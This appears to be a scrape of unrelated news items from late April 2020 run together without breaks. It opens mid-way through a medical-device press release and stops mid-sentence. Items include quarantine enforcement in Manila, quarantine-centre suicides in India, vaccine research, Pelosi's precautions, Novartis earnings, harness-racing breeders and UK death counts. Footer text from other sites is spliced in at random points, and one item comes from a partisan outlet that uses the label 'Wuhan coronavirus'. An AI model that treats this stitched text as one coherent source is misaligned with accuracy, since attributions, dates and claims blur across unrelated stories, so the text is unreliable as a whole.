eliminating uncertainties related to the diagnosis and treatment of cancer and other diseases thanks to real time in vivo microscopic visualization. The Company's flagship product, Cellvizio, has received clearance/approval in a wide range of applications in more than 40 countries, including the United States, Europe, Japan, and China. For more information on Mauna Kea Technologies, visit www.maunakeatech.com Disclaimer This press release contains forward-looking statements concerning Mauna Kea Technologies and its activities. Such forward looking statements are based on assumptions that Mauna Kea Technologies considers to be reasonable. However, there can be no assurance that the anticipated events contained in such forward-looking statements will occur. Forward- looking statements are subject to numerous risks and uncertainties including the risks set forth in the registration document of Mauna Kea Technologies registered by the French Financial Markets Authority (Autorite des marches financiers (AMF)) on July 12, 2019 under number D.19-0683 and available on the Company's website (www.maunakeatech.com), and to the development of economic situation, financial markets, and the markets in which Mauna Kea Technologies operates. The forward-looking statements contained in this release are also subject to risks unknown to Mauna Kea Technologies or that Mauna Kea Technologies does not consider material at this time. The realization of all or part of these risks could lead to actual results, financial conditions, performances or achievements by Mauna Kea Technologies that differ significantly from the results, financial conditions, performances or achievements expressed in such forward-looking statements. This press release and the information it contains do not constitute an offer to sell or to subscribe for, or a solicitation of an order to purchase or subscribe for, Mauna Kea Technologies shares in any country. 1 Total Revenue includes Research Tax Credit and other tax credits of 1.07 million in full year 2019, compared to 1.14 million in full year 2018. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005769/en/ Contacts: United States Mike Piccinino, CFA Westwicke, an ICR Company 443-213-0500 France and Europe NewCap Investor Relations Thomas Grojean +33 (0)1 44 71 94 94 maunakea@newcap.eu This blog covers software patent news and issues with a particular focus on wireless, mobile devices (smartphones, tablet computers, connected cars) as well as select antitrust matters surrounding those devices. Our Divisions Copyright 2021-22 DB Corp ltd., All Rights Reserved This website follows the DNPA Code of Ethics. Metro Manila (CNN Philippines, April 28) A police officer on Tuesday filed several complaints against a foreign national from Makati after getting in a heated argument and tussle over alleged violation of quarantine guidelines. Police Senior Master Sergeant Roland Von Madrona filed direct assault, resistance and disobedience to a person of authority, and unjust vexation against Spanish national Javier Parra Salvador. He is also facing violation of the Bayanihan to Heal As One Act for failure to wear a face mask in public. Madrona on Sunday was patrolling Dasmarinas Village to check on complaince to enhanced community guidelines when they chanced upon Salvador's househelp who was allegedly watering plants along the street without a face mask. Authorities wanted to issue her a ticket for violating a city ordinance. A video showed Parra yelling and ordering the officer to leave the premises of his home, while his wife was trying to pacify him but to no avail. The same video also shows the officer telling Salvadorthat he was just implementing quarantine protocols and that he did not want to argue with him. Makati City Police Chief PCol Rogelio Simon on Monday said the foreigner also started cursing at the cops, prompting Madrona to arrest him. He confirmed the two had a scuffle because Salvador refused to submit to the authorities. Metro Manila Police, which was tasked to investigate the incident, weighed in on the matter. NCRPO Chief Debold Sinas said Madrona followed police guidelines in case of violations. "Ang pulis ay hindi lumabag. Ang tagal kinausap. Sometimes alam mo naman kung mumurahin ka. Basta sumunod at makinig, walang problema. Ang problema, if you insist to do something at nasobrahan ka na, pati ang buong gobyerno natin ay lalaitin mo, ibang usapan na po iyon," he said in a virtual briefing. [Translation: The police did not commit any violations. He talked to the man, but you know when you're about to be disrespected. There's no problem if you follow the rules. There is a problem if you insist on doing something wrong and even criticize the government.] He insisted gated communities, such as the Dasmarinas Village, are not exempted from the rules. "Ang mga villages ay hindi po excused sa pag-enforce ng ECQ. Dapat ay sumunod sila. Hindi puwedeng ma-innvoke na may sarili silang directive, lalo na kapag nag-violate sila ng batas," he added. [Translation: Villages aren't exempted from the ECQ. They should follow the rules. They cannot make up their own directives when they are clearly committing violations.] Meanwhile, the Bureau of Immigration said foreigners who disobey existing lockdown laws may face arrest and deportation. Disneys attempt to rouse Star Wars fans on social media by encouraging them to share their favorite memories of the franchise backfired on Monday after its streaming service said those tweets and account handles could be used for the companys purposes. Celebrate the Saga! Reply with your favorite #StarWars memory and you may see it somewhere special on #MayThe4th, the account for Disneys streaming service, Disney Plus, tweeted on Monday, using a popular play on the series line May the Force be with you. Then Disney Plus added, By sharing your message with us using #MayThe4th, you agree to our use of the message and your account name in all media and our terms of use. Hours later, the company added one more tweet, saying that the language applied only to replies to that tweet using the hashtag #MayThe4th and mentioning Disney Plus. Member countries of the Geneva-based World Trade Organization (WTO) have eliminated customs duties on over 84 per cent of medical products for 2020 under their various regional trade agreements (RTAs), according to a report. India is a member of the WTO since 1995. There are a total of 164 members of this organisation, which deals with global trade-related issues. The share of exports by the world's top-10 exporters of medical products to their RTA partners ranges from between 27 per cent for China to almost 75 per cent for Italy, the WTO has said in the report. Majority of the top-10 traders in such products are EU member states. It said that in developing and least-developed countries, average customs duties for all the member nations and preferential rates (under free trade agreements) are higher, especially for medical supplies, medicines and PP (personal protection) products. "WTO members have eliminated tariffs on over 84 per cent of medical products for 2020 under their various RTAs," it said. Several medical devices like ventilators and masks are in huge demand due to the coronavirus pandemic. India has also put certain restrictions on exports of such products to maintain domestic availability. "The COVID-19 pandemic has also highlighted the need for greater cooperation and efforts to reduce barriers to trade, including through increased mutual recognition agreements (MRAs)," the WTO said. With the current supply shortages of certain medical and sanitary products caused by the COVID-19 pandemic, this report looks at the manner in which such products are treated in RTAs and the extent to which they are traded between RTA partners. "The top-10 exporters of medical products, which account for almost 75 per cent of global exports of these products, are all parties to RTAs. Belgium, France, Germany, Ireland, Italy, the Netherlands and the UK (all of which are currently party to the EU customs union) are party to 44RTAs, Switzerland to 31, the US to 14 and China to 15," it said. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) By Express News Service BHOPAL: In a shocking incident, a youth allegedly committed suicide at a quarantine centre in Madhya Pradeshs Panna district on Tuesday. The youth committed the extreme act just a few hours after his parents came to meet him at the centre in Amanganj area of Panna district. According to Amanganj police station in-charge, Rakesh Tiwari the youth hailing from Mahewa village of Panna district had returned along with five friends from Garhakota in Sagar district on April 24. He was subsequently quarantined at the centre in the Amanganj Government PG College along with his friends. On Tuesday morning, his parents had come to meet and after they returned, the youth was found hanging to death at the quarantine centre, added Tiwari. This is the second such case in Madhya Pradesh within four days. Earlier, on April 24, a 30-year-old farm labourer, who was quarantined at a school in native Sidhi district had hanged to death from a tree outside the quarantine centre at Dubri Kala village, around 80 km from Sidhi district headquarters. As per preliminary investigations, the youth hailing from the Baiga tribe didnt wish being kept isolated and wanted to be with his children. The youth had returned to his native district along with 21 farm labourers after wheat harvest from Sagar district amid the COVID-19 lockdown on April 22. An initial compensation of Rs 10,000 was announced by the Sidhi district administration to the kin of the deceased labourer. Meanwhile, with 222 new cases being reported over last 24 hours in Madhya Pradesh, the total COVID-19 positive cases shot up to 2387. Seven more deaths were reported across the state from the deadly infection, taking the total death count to 120. Till date, 377 patients have been discharged from hospitals after testing negative for the virus. (Photo : www.pexels.com) Japanese drugmaker Shionogi & Co. said Monday, Apr. 27 that it is underway in developing a coronavirus vaccine using insects and aims to start clinical trials this year. Read More: Google's AI Apparently Still Needs Work After Reported Failure, Researchers Will Try Again What You Should Know About The Vaccine The reason why insects are going to be used for the vaccine lies inside their cells. It can withstand changes in various pressures much better than those of mammals, Shionogi explained. The use of insects for a vaccine can be manufactured in just a span of eight weeks. Shionogi said that the coronavirus vaccine is the company's top-priority vaccine, and it is being conducted by joint research with the National Institute of Infectious Diseases since March. The virus' protein sheath, otherwise called an antigen, usually triggers an immune response in the person who receives the vaccine. The vaccine is trained to quickly let your immune system identify the virus' antigen in order for it to respond quickly when exposed to the real coronavirus, which can be fatal in some cases. Read More: DJI's New Mavic Air 2 Has a 48MP Camera, 34-Minute Flight Time and More Upgraded Features When Would The Virus Be Found? United Kingdom's chief scientific adviser, Sir Patrick Vallance, as well as Anthony Fauci, his United States counterpart, suggests that it will come in the next 12 to 18 months. On the other side of the spectrum, experts who are actively seeking the cure argue that it can be found thisJune. Marian Wentworth, president and CEO of Management Sciences for Health said, "It really depends on what you mean by 'having a vaccine'," and added, "If you mean one that can be used in a mass vaccination campaign, allowing us all to get on with our lives, then 12 to 18 months is probably right." Experimental vaccines, however, are deemed to be safe and effective enough to be rushed out in a more limited way, especially to those with high-risk groups like health workers. That would be ready within weeks or months at a time, and this would be under the emergency rules developed by drug regulatory agencies as well at the World Health Organization in the context of the recent Ebola outbreaks in Africa. Normally, a vaccine is usually developed and tested on animals, if proven safe, and generates promising results to the immune response then moves on to human or clinical trials. Those trials are divided into three phases. Phase 1 would be to establish that the vaccine is safe for small groups of healthy individuals. Phase 2 and 3 would be to test the potency and efficacy in an outbreak like the present one in which they are conducting where the disease is prevalent. The cure may be somewhat down the line, but the hopes of this insect vaccine will be one of many to brighten up people's days who are suffering from the pandemic as it is. Trust that the vaccine will be found sooner rather than later. Read More: Pentagon Releases 'Unidentified Aerial Phenomena' Videos; Evidence That We Are Not Alone? 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission. A day after allowing a batch of 150 migrants from Surat in Gujarat to travel to Odisha in private buses, authorities on Tuesday permitted a group of 36 workers to proceed to Siddharthnagar in Uttar Pradesh. Thousands of migrant workers from various states are stuck in Surat and other cities of Gujarat since the coronavirus-enforced lockdown came into force on March 25. The state government shifted about 4500 migrant workers to their native states of Rajasthan and Madhya Pradesh in the last three days by deploying state transport buses. "The government shifted around 4,500 stranded migrants to Rajasthan and Madhya Pradesh by deploying buses. "On April 27, as many as 2,314 labourers from Rajasthan, living in 158 labour camps in Gujarat, were shifted to their native places using 84 state transport buses. Collector of Dungarpur district in Rajasthan received them," Additional Chief Secretary, Labour and Employment, Vipul Mitra Mitra said in a statement. All labourers were screened before boarding and social distancing norms were also followed. "This is in continuation with the massive exercise launched on April 25 when 2,300 workers from Madhya Pradesh were shifted to their native places by deploying about 100 state transport buses," the IAS officer said. He added that as many as 898 labourers from different districts in Gujarat were also shifted to their home districts or their place of work from different labour camps. "Today, 36 migrants were given the permission to travel till Siddharthnagar in UP in a private bus, which was sanitised thoroughly before its journey," said Surat MLA Sangita Patil. This was made possible due to the intervention of Union Home Minister Amit Shah, she said. "The migrants were very happy. More migrants will be given the permission to leave for their native states in the days to come," the MLA said. On Sunday, Navsari MP CR Patil said that Amit Shah had asked the Gujarat government to allow people to go to their native places on their own expenses. Amidst the lockdown, Surat had witnessed incidents of violence and stone pelting by migrant workers who are desperate to go home. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) WASHINGTON The speaker of the House walking the halls of the Capitol is a common sight. The silk scarf tied around her face, however, is not. The Centers for Disease Control and Prevention recommends that older Americans stay home if possible to avoid catching the coronavirus. But as the most powerful Democrat in the country, the leader of one chamber of Congress and the person second in line for the presidency, House Speaker Nancy Pelosi is not Americas average octogenarian. Though the San Francisco Democrat is taking steps to protect herself on the job, precautions are more challenging to work out for the more than 430 of her colleagues who must gather together to pass bills. On Tuesday, one day after saying Congress would return in earnest to work next week, the No. 2 House Democrat told reporters that lawmakers would not come back after all, saying the congressional physician had forcefully conveyed to him it was not safe for members to be together in Washington. The House physicians view was the risk to members was not one he would recommend taking, said House Majority Leader Steny Hoyer of Maryland. Pelosi, however, spent much of last week in the Capitol, working to pass a bill adding nearly $500 billion in coronavirus relief. She covered her face with silk scarves matching her outfits, and at times wore latex gloves. Most Democratic lawmakers who were in town for one day of voting also wore masks. A handful of Republicans did not. Vice President Mike Pence has also opted not to use a mask on his recent trips around the country, though health officials on his coronavirus task force have recommended wearing one. Pelosis staff and protective detail of U.S. Capitol Police are wearing masks like the speaker and walking several feet away from her as she moves around the building. When she held a signing ceremony after the latest coronavirus bills passage, gloved and masked staff members prepared and cleaned the pen and documents. It served as a visual reminder of the speakers vulnerability as a member of a high-risk group for the coronavirus and her prominent role in government. The White House is conducting rapid coronavirus testing for anyone who is set to be in close proximity to President Trump, and reporters are getting temperature checks before being allowed to enter the grounds. No such precautions are being taken at the Capitol, though it is closed to the public. Pelosi traveled to her San Francisco home shortly after Congress passed a $2 trillion rescue package in late March, then returned last week. She continued her frequent media appearances using a computer from her kitchen at home, with some family members stepping in to help set her up in the absence of staff. Andrew Harnik / Associated Press To stay safe in Washington, Pelosi is following the recommendations of the CDC and Congress physician, her office says. The doctor recommended wearing masks when social distancing is not possible, and Pelosi removes hers only to speak at a microphone for a television interview or at news conferences where no one is nearby. Although the speaker has access to military aircraft, Pelosi stopped using such planes after her first stint in the job, from 2007 to 2011. She is flying commercially between Washington and San Francisco, but these days, the planes are practically empty. The mother of five and grandmother of nine, who frequently talks about her close-knit family, is also skipping typical gatherings. Pelosis daughter Christine, a Democratic and womens rights organizer, said the family was supposed to gather for spring break to celebrate the birthday of her daughter, Bella, as well as annual gatherings like Easter. But even when theyve been in the same city, theyre keeping their social distance. All of those things we thought we were going to do were (instead) texting and FaceTiming and sending pictures, but thats what has to happen, Christine Pelosi said. No one is more acutely focused about it than my mom, because shes fighting for all the frontline workers who dont have the option to stay home. In a March news conference on her 80th birthday, Pelosi said she wouldnt celebrate until her family was reunited. Andrew Harnik / Associated Press I am not celebrating, though, until I can hug my grandbabies. I am waiting for that day, Pelosi said. Christine Pelosi said the family was proud of their Mimi, as the grandchildren call her, and the topic she most talks about with her mother is making sure that Americans who dont have companions to shelter with or who are working despite potential exposure are taken care of. Pelosis longtime friend, Rep. Anna Eshoo, D-Palo Alto, said the speaker misses hugging her children and grandchildren, but is also working hard at her job. I think we all miss that. We take it for granted, Eshoo said. But shes always had a fastidiousness about hygiene, and so if anybodys prepared for this, she is. ... This woman is made of silk and steel, and no one can really keep up with her. Pelosi also has some specific advice for getting through the socially distant time, as she told reporters on a recent call. Wash your hands, hydrate, pray, she said. And, as I always say, you can never dance too much, especially when youre home. Tal Kopan is The San Francisco Chronicles Washington correspondent. Email: tal.kopan@sfchronicle.com Twitter: @talkopan By PTI BEIJING: China on Tuesday urged India to step up communication to "properly resolve" the issue with the two Chinese firms which supplied the COVID-19 antibody rapid test kits, subsequently found faulty by the Indian Council of Medical Research (ICMR). The ICMR on Monday asked states and union territories to stop using the test kits procured from the Guangzhou Wondfo Biotech and Zhuhai Livzon Diagnostics due to the "wide variations" in their performance. India procured around five lakh rapid antibody test kits from the two Chinese firms. Asked whether China would conduct any investigation on this issue, Chinese Foreign Ministry spokesman Geng Shuang told a media briefing here that India and China are closely coordinating and cooperating with each other since the coronavirus outbreak surfaced. ALSO READ| COVID-19: Bihar BJP chief wants China boycott, backs Trump's call for inquiry into WHO role "As to the specific incidents you mentioned, we hope the Indian side will step up communication with the Chinese companies to properly solve this issue. Of course, China and India have channels of communication. These are open," Geng said, adding that China stands ready to share more experience and offer assistance as per its capacity. He also mentioned that the two companies have released statements in which they said that the quick test kits they produced were approved by China's National Medical Products Administration of China (NMPA) and "met the quality standards and they have been verified by the Indian institute of virology attached to the ICMR". "China and India maintained close communication and cooperation. China shared experience with India and donated medical supplies to it. We hope the Indian side will stick to facts and enhance communication with the Chinese side to properly handle the issue and help promote cooperation between the two sides to fight the virus," Geng said. Indian officials In Beijing said the issue is being dealt with by the concerned agencies in Delhi. ALSO READ| US politicians 'telling barefaced lies' over coronavirus pandemic: China Earlier, the Chinese Embassy in India said in a statement that it was "deeply concerned" over the evaluation result of the COVID-19 rapid testing kits supplied to India by the two Chinese companies and subsequent decision by the ICMR to not use the equipment. China, which has been dealing with such complaints from different countries over COVID-19 medical supplies, has stepped up official controls on the exports in recent weeks and advised the importing countries to procure all such equipment from companies authorised by the government. Both the firms which supplied the kits to India were approved by the Chinese government. MEMPHIS, Tenn., April 27, 2020 (GLOBE NEWSWIRE) -- First Horizon Bank, a subsidiary of First Horizon National Corporation (FHN), announced today the completion of its sale of $450 million aggregate principal amount of 5.750% Subordinated Notes due 2030 (the Subordinated Notes). This transaction marks First Horizons first debt offering since 2015 and the first subordinated debt offering since 2006. The Subordinated Notes were not registered under federal or state securities laws, and may not be offered or sold, except pursuant to an exemption from the registration requirements of federal and state securities laws. This press release is neither an offer to sell nor a solicitation of an offer to buy any securities, nor shall there be any offer or sale of securities in any jurisdiction in which such offer, solicitation or sale would be unlawful prior to registration or qualification under the securities laws of such jurisdiction. About First Horizon First Horizon National Corp. (FHN) provides financial services through First Horizon Bank, First Horizon Advisors, and FHN Financial businesses. The banking subsidiary was founded in 1864 and has the largest deposit market share in Tennessee. The company operates approximately 270 bank locations across the Southeast U.S. and 29 FHN Financial offices across the entire U.S. FHN Advisors wealth management group has more than 300 financial professionals and about $4.8 billion in assets under management. FHN Financial is a capital markets industry leader in fixed income sales, trading and strategies for institutional customers in the U.S. and abroad. The company is recognized as one of the nation's best employers by Fortune and Forbes magazines and a Top 10 Most Reputable U.S. bank. More information is available at www.FirstHorizon.com. FHN-G Contact: First Horizon Investor Relations, Aarti Bowman, (901) 523-4017 First Horizon Media Relations, Silvia Alvarez, (901) 523-4465 A unique trio of faces was featured on the Wednesday evening (April 29) episode of COSA TV. The biggest Standardbred breeders in harness racing -- Dr. Bridgette Jablonsky (of Hanover Shoe Farms), Ann Straatman (Seelster Farms) and Pat Woods (Winbak of Ontario) joined host Greg Blanchard to fill viewers in on how they are coping with the COVID-19 pandemic as well as discuss some of their most impactful stallions and broodmares. Dr. Jablonsky initiated the conversation with an update on how Hanover Shoe Farms is dealing with the unprecedented times at hand. The foals are still coming, the mares are still getting bred as farm life goes, things are going pretty business as usual. Jablonsky then provided insight towards how Hanover Shoe began its legacy in the industry. The farm got rolling in 1926 so we are coming up on 100 years doing this. Its a brand, I think our namesake -- Hanover, is very recognizable not only in the industry but in the town as well, people that visit the region where we are, visit our farm, were a tourist attraction as well. We welcome guests and are one of the stops on the county tour. I think Hanover Shoe Farms is associated with greatness and working here was my first job out of vet school and Im very proud to be a part of it. Ann Straatman of Seelster Farms and Chair of Board at Standardbred Canada discussed with fellow breeders and host Blanchard how things in Lucan, Ont. are going. We had another foal born this evening actually. Theyre born at all times of the day but mostly in the evening and at night. Straatman, who holds many roles in the harness racing industry, continued to enlighten viewers on the family history behind Seelster Farms. The farm started with my grandfather, my father and my two uncles. Its been a love affair for us since we were tall enough to look into the stalls. That scenario is different for Pat Woods as he is a rather new face to Winbak Farms, a uniquely large operation that operates in multiple jurisdictions. Our main farm is in Maryland, but we also have a breeding station in Delaware, New York, and we have the farm up here. Were spread out but the farm runs as one unit. Woods also commented on how the farm has kept the same appearance throughout the years as it did when it was formerly known as Armbro Farms. The farm is very much the same still, the layout is very similar. We have about the same space that Armbro did but it works well enough. We keep about 35 mares here but our main focus of mares is at our Maryland farms. Here we focus more so on the stallions. Blanchard then took the trio of breeders down memory lane to revisit some of the most impactful stallions that have stood at their farms through the years. For Straatman, the stallion with the most profound impact on Seelster Farms would be the great Camluck, who arrived at Seelster in 1993 and without question is one of the greatest pacing sires in Canadian history. He was certainly the most intelligent sire we have ever had and he passed that down to a lot of his foals. Its nice to be able to see how quickly they can learn and I believe that its bred into them rather than being taught. Camluck was a great sire but he is now also a great broodmare sire. Its nice to see that people think of him that way -- he is still with us and he will continue to be with us in pedigrees for a long time. While Pat Woods has seen and worked with a number of remarkable stallions throughout his career, the sire with the greatest impact on Winbak Farms is the one voted as harness racing's pacing sire of the 2010s: Bettors Delight. He is just a freak of nature. He should be slowing down and he just isn't. I dont know if its because he's grumpy all the time and he's just one of those grumpy old men that just keep on going but he just does it all the time. Whatever breeding shed numbers he has to cover -- he just does it. His semen quality is still as phenomenal as its ever been. Hes 22 now and we have a lot of pride in him because he also is a Winbak-bred horse. Hes not a very big horse but he passes on his good gait and willingness to win. We couldn't be more proud to have him with us and proud of what he has accomplished. For Dr. Jablonsky, while choosing a particular stallion may be a difficult task, there is one that she holds closely to her heart -- a Standardbred generally considered to be one of the greatest horses to step onto a racetrack -- Somebeachsomewhere. To me, I love the yearling part. I love prepping them and watching them race but I also love the stallions. It is amazing to be around them. When Brent walked him off the trailer that day I had many mixed feelings. I was excited and so in awe but I was nervous because when they hand you that lead shank or put the horse in the stall, the responsibility is now yours. He [Somebeachsomewhere] was a gift. I think it is going to take a couple more years for the industry to realize what we lost when we lost him so young. He had so much more to give and his legacy will live on in his sons that will become and are sires and he is already becoming a broodmare sire but he was well on his way to becoming the most dominant pacing sire ever. You would look at a stake race and there would be five horses sired by him in the same race. He was one of those rare horses that was a freak on the racetrack and went on to become a freak in the breeding shed. His yearlings were such early bloomers, his weanlings looked like yearlings and his yearlings looked like two-year-olds -- they were precocious and I think that's one thing that really helped him. It was so devastating to lose him but at the same time we were so fortunate to have had him. The highly-entertaining and informative episode of COSA TV which provided fans with a different outlook and appreciation of the Standardbred breeding industry was produced by CUJO Entertainment and is available for viewing below. BASEL (dpa-AFX) - Swiss drug major Novartis (NVS) on Tuesday confirmed its fiscal 2020 outlook after its first-quarter earnings. Sales were benefited partly by increased forward purchasing and lower spending due to COVID-19. However, these impacts are expected to reverse in the rest of 2020. Novartis said the pandemic did not have a material impact on its underlying business in the quarter, while there are manageable disruption to clinical trials and minimal disruption to ongoing regulatory submissions at present. For the remainder of the year, Novartis said it do not expect delays in planned 2020 regulatory submissions. Meanwhile, the company is seeing slowdown in new enrollments in ongoing clinical studies and start-up with new studies. Citing strong mitigation measures and inventory levels, the company said it does not anticipate supply chain disruption for the majority of the portfolio at this time. In its efforts to fight against Covid-19, Novartis is participating in collaborative research efforts such as the COVID-19 Therapeutics Accelerator, coordinated by the Bill & Melinda Gates Foundation, Wellcome, and Mastercard, as well as a COVID-19 directed partnership organized by the Innovative Medicines Initiative. Novartis is also contributing by making available several compounds from its libraries that are considered suitable for in vitro antiviral testing. Further, the company is assessing whether its clinical-stage investigational or approved medicines could be repurposed beyond their intended or approved indications to treat complications of SARS-CoV-2 infection. Going ahead for fiscal 2020, the company confirmed guidance for continuing operations. Net sales are expected to grow mid to high-single digit and core operating income expected to grow high-single to low double digit, both at constant currency rates. Novartis said its previous outlook excluded the Sandoz US oral solids and dermatology portfolio. As Novartis is retaining the Sandoz US portfolio after mutual agreement with Aurobindo to terminate the transaction, the latest outlook is now on continuing operations. Novartis now expects growth of sales from continuing operations and core operating income to be approximately 1 percent lower than the previous guidance. Vas Narasimhan, CEO of Novartis, said, 'While there are many uncertainties for the coming year, we are maintaining our full year outlook at this time and will continue to play our part to overcome the pandemic.' For the first quarter, net income grew 16 percent to $2.17 billion from last year's $1.87 billion. Earnings per share were $0.96, up 19 percent from $0.81 a year ago. Core net income was $3.55 billion or $1.56 per share, compared to $2.81 billion or $1.21 per share last year. Operating income climbed 22 percent to $2.74 billion. Core operating income grew 28 percent from last year to $4.18 billion, mainly driven by higher sales, benefiting from COVID-19 forward purchasing and gross margin improvement, partly offset by launch investments. Excluding COVID-19 related forward purchases and lower spending, core operating income would have grown around 22 percent at constant currency rates. For the quarter, net sales from continuing operations increased 11 percent to $12.28 billion from prior year's $11.11 billion. Sales grew 13 percent at constant currency rates with double digit growth in Innovative Medicines and Sandoz. Excluding COVID-19 related forward purchases, constant currency sales growth would have been around 9 percent. In Switzerland, Novartis shares were trading at 88.25 Swiss francs, up 0.25 percent. In pre-market activity on the NYSE, the stock is up 1.02 percent and trading at $90.50. Copyright RTT News/dpa-AFX Kostenloser Wertpapierhandel auf Smartbroker.de (Natural News) As some states begin the slow process of reopening their economies, many businesses that were forced to shutter due to the Wuhan coronavirus (COVID-19) lockdowns and especially the smaller ones might never reopen at all because of their immense losses. With 22 million Americans-and-counting filing for unemployment benefits, many economists are saying that the United States is currently contracting at the fastest rate this country has seen since World War II. Even larger companies are veering towards bankruptcy as they struggle to come up with a viable plan for getting back on their feet. The real disturbance, however, is among small and mid-size businesses. Many were struggling before the Wuhan coronavirus (COVID-19) even existed, and now they might have to remain closed for good. Prior to the pandemic, there were more than one million restaurants in the U.S., half of them independent and not part of large chains. The independent ones employed about 11 million people, the vast majority of whom had to be laid off after the Wuhan coronavirus (COVID-19) prompted nationwide closures for dine-in patrons. While many assume that these 11 million people and the businesses they worked for will simply open back up once they are given the all-clear, this is a highly unlikely scenario. A recent survey by the James Beard Association found that 28 percent, or more than one in four, independent restaurants will have to close for good if the lockdowns are not lifted very soon. This same survey found that independent restaurants had to lay off a shocking 91 percent of their hourly employees, as well as 70 percent of their salaried employees, as of April 13 these being double-digit increases since March. A whopping 77 percent of the independent restaurants that have remained open for take-out or delivery since the lockdowns began are now reporting that their sales have dropped by half or more. A sizeable 38 percent of them decided to close down entirely, either temporarily or permanently. Perhaps most disturbing is the fact that only one in five, or 20 percent, of restaurants believe that they will even be able to sustain their businesses at all unless normal operations resume. Listen below to The Health Ranger Report as Mike Adams, the Health Ranger, talks about how the pandemic protesters should be taking precautions to avoid spreading the Wuhan coronavirus (COVID-19): Tens of thousands of businesses could be lost forever because of coronavirus lockdowns If there are roughly one million restaurants in America today and half of them are independent, then 28 percent of 500,000 equates to 140,000 restaurants that face permanent closure if the Wuhan coronavirus (COVID-19) lockdowns are not lifted immediately. This means that tens of thousands of families will no longer have their livelihoods, and will no longer be able to put their own food on the table. Millions will end up suffering all up and down the supply chains as well, as the lockdowns create a domino effect of economic mayhem. Not only that, but many Americans will still be afraid to even visit a restaurant once the lockdowns are lifted, fearing that they might catch the Wuhan coronavirus (COVID-19) regardless. So even if all of the lockdowns were lifted tomorrow, the restaurant industry would still not fully recover, writes Michael Snyder for TheMostImportantNews.com, his article republished by Zero Hedge. Health clubs like 24 Hour Fitness are also mulling bankruptcy as they, too, have been hit exceptionally hard by the lockdowns. Even now that Georgia has opened up its gyms as of April 24, there is still fear among many that it may not be safe to visit one because the Wuhan coronavirus (COVID-19) could be lurking on the equipment. To keep up with the latest news about the Wuhan coronavirus (COVID-19), be sure to check out Pandemic.news. Sources for this article include: ZeroHedge.com NaturalNews.com China opposes US forces' 'attack China' plan to win votes: FM Global Times Source:Global Times Published: 2020/4/27 18:33:40 China firmly opposes certain US individuals and forces using China to garner votes or smearing China using the COVID-19 pandemic as an excuse, Chinese Foreign Ministry Spokesperson Geng Shuang said Monday at a press conference, amid reports of the US Republican's "Attack China" campaign. "I have noted related reports. Why do some US forces take every chance to smear China? The answer is clear," Chinese Foreign Ministry spokesperson Geng Shuang said Monday at a press conference. The US accused China of "spreading fake information," "but, if the reports mentioned above are real, I can't help asking: who is actually spreading false information? Geng questioned. American news outlet Politico on Friday published an internal 57-page US National Republican Senatorial Committee memo written by political consulting firm Brett O'Donnell that urges candidates to "attacks China" as a tactic for the November 3 general election. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address When it comes to pizza in India, Domino's Pizza is the clear leader. The restaurant chain found its success in India the same way it won the pizza wars in the United States: delivery and technology. Domino's entered India in 1995 at a time when the country was just beginning to open up its economy to the rest of the world. India removed subsidies on some items, lowered certain import duties and invited in foreign competition. With globalization came American brands like Coca-Cola, McDonald's, Pizza Hut and Domino's. Jubilant FoodWorks, Domino's franchisee, said it was the first food service company to launch online and mobile ordering nationally in India. As of January, nearly 30 million people have downloaded its mobile ordering app. In fiscal 2019, mobile ordering contributed roughly 75% of delivery sales for Domino's in India, according to Jubilant FoodWorks. By 2019, the pizza market in India had grown to more than $1.5 billion, according to Euromonitor International. But Domino's American rivals, Pizza Hut and Papa John's, have struggled to challenge Domino's foothold on the subcontinent. Pizza Hut launched in India in 1996, and since then, the brand has opened 430 stores. Papa John's only opened 66 stores in India before exiting the country in 2017, according to the company's financial filings. Domino's has grown to operate more than 1,300 stores across 282 cities in India, and its footprint continues to grow. Watch the video above to learn more about how Domino's won the pizza war in India. The newest figures from the UK's hospitals have been reported today. (PA) The total number of deaths related to coronavirus in UK hospitals has risen to 21,678 an increase of 586. There are also now 161,145 confirmed cases, health secretary Matt Hancock said on Tuesday afternoon, a rise of 3,996. A total of 19,295 people have died from coronavirus in English hospitals a rise of 546 on Mondays figures, according to data released earlier from NHS England. Most of those deaths took place between 25 and 27 April, with 141 happening between 1 and 24 April and 20 occurring in March. Across the rest of the UK, Scotland recorded 70, taking its total to 1,332, while Wales has recorded another 17 for a total of 813. Northern Ireland had not yet posted its latest figures. The combined total from all four nations is different to the UK-wide figure released by the Department of Health due to differences in accounting. Latest coronavirus news, updates and advice Live: Follow all the latest updates from the UK and around the world Fact-checker: The number of COVID-19 cases in your local area 6 charts and maps that explain how COVID-19 is spreading Global cases have already passed three million and there have been more than 212,000 deaths worldwide, with more than 906,000 recoveries, according to Johns Hopkins University. Also on Tuesday, people across the UK held a minutes silence at 11am in memory of NHS staff who have died after becoming infected with coronavirus. Meanwhile, health secretary Matt Hancock was challenged by the son of Dr Abdul Mabud Chowdhury, who warned the government about the lack of personal protective equipment (PPE) and later died of COVID-19. Intisar Chowdhury asked Hancock on LBC if the government regretted not taking his concerns seriously enough. Intisar, Im really sorry about your dads death and I have seen the comments youve made and what youve said in public and I think its very brave of you to be speaking out in public. We took very, very seriously what your father said and weve been working around the clock to ensure that theres enough protective equipment and in the case of anybody who works in the NHS or in social care and has died from coronavirus we look into it in each case to find out the reasons where they might have caught it and what lessons we can learn. Story continues Inistar said he did not expect the government response to the virus to be perfect but expected progression and for mistakes to be admitted. I think that it is very important that were constantly learning about how to do these things better and I think listening to the voices on the front line is a very, very important part of how we improve, Hancock said. Ahead of the one-minutes silence, Labour leader Keir Starmer said too many people on the frontline of the outbreak had died. In a video message, he said the nation owed them a huge debt. And as we reflect today at 11 oclock, a minutes silence on behalf of everybody whos lost their lives, we think particularly of all the grieving families that have lost a loved one, he said. Nobody should put their lives at risk because they havent got the right protective equipment. We owe it to them to make sure that weve got the right equipment, in the right place at the right time, and we will continue to press on that. We cant go out and clap on a Thursday and pretend that, when this is over, we can return to business as usual. Many of those on the front line have been undervalued and underpaid for far, far too long. The prime minister also tweeted that the country would not forget the NHS workers who died. This morning I took part in a minutes silence to remember those workers who have tragically died in the coronavirus pandemic. The nation will not forget you. pic.twitter.com/6yV5PCINyM Boris Johnson #StayHomeSaveLives (@BorisJohnson) April 28, 2020 Coronavirus: what happened today One of us tested positive for the coronavirus. The other one probably had it, too we are married and live together although symptoms were mild. We both were 